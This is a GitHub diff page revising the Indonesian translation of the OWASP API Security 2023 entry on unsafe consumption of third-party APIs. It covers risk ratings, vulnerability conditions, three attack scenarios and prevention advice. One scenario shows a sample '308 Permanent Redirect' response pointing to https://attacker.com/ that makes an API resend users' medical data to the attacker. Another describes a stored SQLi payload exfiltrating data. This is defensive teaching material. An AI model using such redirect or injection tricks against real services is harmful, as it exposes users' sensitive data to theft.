You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: editions/2023/ba/0xaa-unsafe-consumption-of-apis.md
+11-11Lines changed: 11 additions & 11 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -2,12 +2,12 @@
2
2
3
3
| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |
4
4
| - | - | - |
5
-
| Khusus API : Kemungkinan Dieksploitasi **Mudah**|Meluas**Umum** : Kemungkinan Dideteksi **Sedang**| Teknis **Serius** : Khusus Bisnis |
6
-
|Mengeksploitasi masalah ini memerlukan penyerang untuk mengidentifikasi dan mungkin mengompromikan API/Layanan lain yang terintegrasi dengan API target. Biasanya, informasi ini tidak tersedia secara publik atau API/Layanan yang terintegrasi tidak mudah dieksploitasi. | Para pengembang cenderung percaya dan tidak memverifikasi titik akhir yang berinteraksi dengan API eksternal atau pihak ketiga, mengandalkan persyaratan keamanan yang lebih lemah seperti yang berkaitan dengan keamanan transportasi, otentikasi/otorisasi, dan validasi serta sanitasi input. Penyerang perlu mengidentifikasi layanan yang terintegrasi dengan API target (sumber data) dan, akhirnya, mengompromikannya. | Dampaknya bervariasi sesuai dengan apa yang dilakukan API target dengan data yang diambil. Eksploitasi yang berhasil dapat menyebabkan paparan informasi sensitif kepada aktor yang tidak diotorisasi, banyak jenis injeksi, atau penolakan layanan. |
5
+
| Khusus API : Kemungkinan Dieksploitasi **Mudah**|Prevalensi**Umum** : Kemungkinan Dideteksi **Sedang**| Teknis **Serius** : Khusus Bisnis |
6
+
|Penyerang perlu mengidentifikasi dan mungkin mengkompromikan API/Layanan lain yang terintegrasi dengan API target untuk mengeksploitasi masalah ini. Biasanya, informasi ini tidak tersedia secara publik atau API/layanan yang terintegrasi tidak mudah dieksploitasi. | Para pengembang cenderung percaya dan tidak memverifikasi endpoint yang berinteraksi dengan API eksternal atau pihak ketiga, mengandalkan persyaratan keamanan yang lebih lemah seperti yang berkaitan dengan keamanan transportasi, otentikasi/otorisasi, dan validasi serta sanitasi input. Penyerang perlu mengidentifikasi layanan yang terintegrasi dengan API target (sumber data) dan, akhirnya, mengkompromikannya. | Dampaknya bervariasi sesuai dengan apa yang dilakukan API target dengan data yang diambil. Eksploitasi yang berhasil dapat menyebabkan paparan informasi sensitif kepada aktor yang tidak diotorisasi, banyak jenis injeksi, atau penolakan layanan. |
7
7
8
8
## Apakah API Rentan?
9
9
10
-
Pengembang cenderung percaya data yang diterima dari API pihak ketiga lebih dari masukan pengguna. Hal ini terutama berlaku untuk API yang ditawarkan oleh perusahaan-perusahaan terkemuka. Karena itu, pengembang cenderung mengadopsi standar keamanan yang lebih lemah, misalnya dalam hal validasi dan sanitasi input.
10
+
Pengembang cenderung lebih percaya data yang diterima dari API pihak ketiga daripada masukan pengguna. Hal ini terutama berlaku untuk API yang ditawarkan oleh perusahaan-perusahaan terkemuka. Karena itu, pengembang cenderung mengadopsi standar keamanan yang lebih lemah, misalnya dalam hal validasi dan sanitasi input.
11
11
12
12
API mungkin rentan jika:
13
13
@@ -16,19 +16,19 @@ API mungkin rentan jika:
16
16
memprosesnya atau melewatkan data tersebut ke komponen yang lebih rendah;
17
17
* Mengikuti pengalihan tanpa pertimbangan;
18
18
* Tidak membatasi jumlah sumber daya yang tersedia untuk memproses respons layanan pihak ketiga;
19
-
* Tidak mengimplementasikan waktu habis untuk interaksi dengan layanan pihak ketiga;
19
+
* Tidak mengimplementasikan batas waktu untuk interaksi dengan layanan pihak ketiga;
20
20
21
21
## Contoh Skenario Serangan
22
22
23
23
### Skenario #1
24
24
25
25
Sebuah API mengandalkan layanan pihak ketiga untuk memperkaya alamat bisnis yang diberikan oleh pengguna akhir. Ketika alamat diberikan kepada API oleh pengguna akhir, alamat tersebut dikirim ke layanan pihak ketiga dan data yang dikembalikan kemudian disimpan dalam database lokal yang mendukung SQL.
26
26
27
-
Penjahat menggunakan layanan pihak ketiga untuk menyimpan muatan SQLi yang terkait dengan bisnis yang dibuat oleh mereka. Kemudian mereka menyerang API yang rentan dengan memberikan masukan khusus yang membuatnya menarik "bisnis jahat" mereka dari layanan pihak ketiga. Muatan SQLi akhirnya dieksekusi oleh database, menggantikan data ke server yang dikendalikan oleh penyerang.
27
+
Aktor jahat menggunakan layanan pihak ketiga untuk menyimpan muatan SQLi yang terkait dengan bisnis yang dibuat oleh mereka. Kemudian mereka menyerang API yang rentan dengan memberikan masukan khusus yang membuatnya menarik "bisnis berbahaya" mereka dari layanan pihak ketiga. Muatan SQLi akhirnya dieksekusi oleh database, mengirimkan data ke server yang dikendalikan oleh penyerang.
28
28
29
29
### Skenario #2
30
30
31
-
Sebuah API terintegrasi dengan penyedia layanan pihak ketiga untuk menyimpan informasi medis sensitif pengguna. Data dikirim melalui koneksi aman menggunakan permintaan HTTP seperti di bawah ini:
31
+
Sebuah API terintegrasi dengan penyedia layanan pihak ketiga untuk menyimpan secara aman informasi medis sensitif pengguna. Data dikirim melalui koneksi aman menggunakan permintaan HTTP seperti di bawah ini:
32
32
33
33
```
34
34
POST /user/store_phr_record
@@ -37,14 +37,14 @@ POST /user/store_phr_record
37
37
}
38
38
```
39
39
40
-
Penjahat menemukan cara untuk mengompromikan API pihak ketiga dan mulai memberikan respons `308 Permanent Redirect` untuk permintaan seperti di atas.
40
+
Aktor jahat menemukan cara untuk mengkompromikan API pihak ketiga dan mulai memberikan respons `308 Permanent Redirect` untuk permintaan seperti di atas.
41
41
42
42
```
43
43
HTTP/1.1 308 Permanent Redirect
44
44
Location: https://attacker.com/
45
45
```
46
46
47
-
Karena API mengikuti pengalihan dari layanan pihak ketiga tanpa mempertimbangkannya, itu akan mengulangi permintaan yang sama persis termasuk data sensitif pengguna, kali ini ke server penyerang.
47
+
Karena API mengikuti pengalihan dari layanan pihak ketiga tanpa mempertimbangkannya, ia akan mengirimkan permintaan yang sama persis termasuk data sensitif pengguna, namun kali ini ke server penyerang.
48
48
49
49
### Skenario #3
50
50
@@ -54,11 +54,11 @@ Sekarang, ketika integrasi dari aplikasi yang diserang dilakukan dengan reposito
54
54
55
55
## Cara Mencegah
56
56
57
-
* Saat mengevaluasi penyedia layanan, nilai posisi keamanan API mereka.
57
+
* Saat mengevaluasi penyedia layanan, nilai postur keamanan API mereka.
58
58
* Pastikan semua interaksi API terjadi melalui saluran komunikasi yang aman (TLS).
59
59
* Selalu validasi dan lakukan sanitasi data yang diterima dari API terintegrasi sebelum menggunakannya.
60
-
*Pertahankan daftar putih lokasi yang dikenal API terintegrasi dapat mengalihkan
61
-
milik Anda: jangan mengikuti pengalihan tanpa pertimbangan.
60
+
*Pelihara daftar whitelist lokasi yang dikenal API terintegrasi yang dapat mengalihkan
61
+
permintaan Anda: jangan mengikuti pengalihan tanpa pertimbangan.
0 commit comments